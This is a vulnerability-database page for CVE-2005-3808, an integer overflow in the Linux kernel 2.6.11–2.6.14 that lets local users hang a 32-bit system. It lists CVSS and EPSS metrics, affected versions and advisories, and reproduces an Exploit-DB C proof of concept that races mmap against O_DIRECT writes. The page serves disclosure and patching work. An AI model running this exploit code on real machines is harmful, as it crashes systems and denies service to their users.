CVE-2005-3808 : Detail

CVE-2005-3808

0.2%V4
Local
2005-11-25
20h00 +00:00
2018-10-03
18h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the invalidate_inode_pages2_range function in mm/truncate.c in Linux kernel 2.6.11 to 2.6.14 allows local users to cause a denial of service (hang) via 64-bit mmap calls that are not properly handled on a 32-bit system.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26811

Publication date : 2005-12-12 23h00 +00:00
Author : Oleg Drokin
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/15846/info Linux kernel is prone to a local integer-overflow vulnerability. A successful attack can result in a kernel crash. Arbitrary code execution may be possible as well, but this has not been confirmed. All 2.6.x versions of the Linux kernel are considered vulnerable at the moment. */ #define _GNU_SOURCE #define __USE_FILE_OFFSET64 #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define FILENAME "/tmp/bigfile" int main(int argc, char **argv) { int fd, fd1, ret; char *buf; char wbuf[8192]; unsigned long long offset = 0xffffff000ULL; char *p=wbuf; fd = open(FILENAME, O_RDWR|O_CREAT|O_LARGEFILE/*|O_TRUNC*/, 0644); if (fd < 0) { perror(FILENAME); return -1; } ftruncate64(fd, offset + 4096*4); buf = mmap64(NULL, 4096*4, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset); if (buf == MAP_FAILED) { perror("mmap"); return -1; } fd1 = open(FILENAME, O_RDWR|O_DIRECT|O_LARGEFILE, 0644); if (fd < 0) { perror(FILENAME); return -1; } p = (char *)((unsigned long) p | 4095)+1; if (fork()) { while(1) { /* map in the page */ buf[10] = 1; } } else { ret = pwrite64(fd1, p, 4096, offset); if (ret < 4096) { printf("write: %d %p\n", ret, p); perror("write"); return -1; } } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11.1

Linux>>Linux_kernel >> Version 2.6.11.2

Linux>>Linux_kernel >> Version 2.6.11.3

Linux>>Linux_kernel >> Version 2.6.11.4

Linux>>Linux_kernel >> Version 2.6.11.5

Linux>>Linux_kernel >> Version 2.6.11.6

Linux>>Linux_kernel >> Version 2.6.11.7

Linux>>Linux_kernel >> Version 2.6.11.8

Linux>>Linux_kernel >> Version 2.6.11.9

Linux>>Linux_kernel >> Version 2.6.11.10

Linux>>Linux_kernel >> Version 2.6.11.11

Linux>>Linux_kernel >> Version 2.6.11.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12.1

Linux>>Linux_kernel >> Version 2.6.12.2

Linux>>Linux_kernel >> Version 2.6.12.3

Linux>>Linux_kernel >> Version 2.6.12.4

Linux>>Linux_kernel >> Version 2.6.12.5

Linux>>Linux_kernel >> Version 2.6.12.6

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13.1

Linux>>Linux_kernel >> Version 2.6.13.2

Linux>>Linux_kernel >> Version 2.6.13.3

Linux>>Linux_kernel >> Version 2.6.13.4

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

References

http://secunia.com/advisories/18788
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19038
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/15846
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/18203
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2006:018
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/advisories/9852
Tags : vendor-advisory, x_refsource_FEDORA
https://usn.ubuntu.com/231-1/
Tags : vendor-advisory, x_refsource_UBUNTU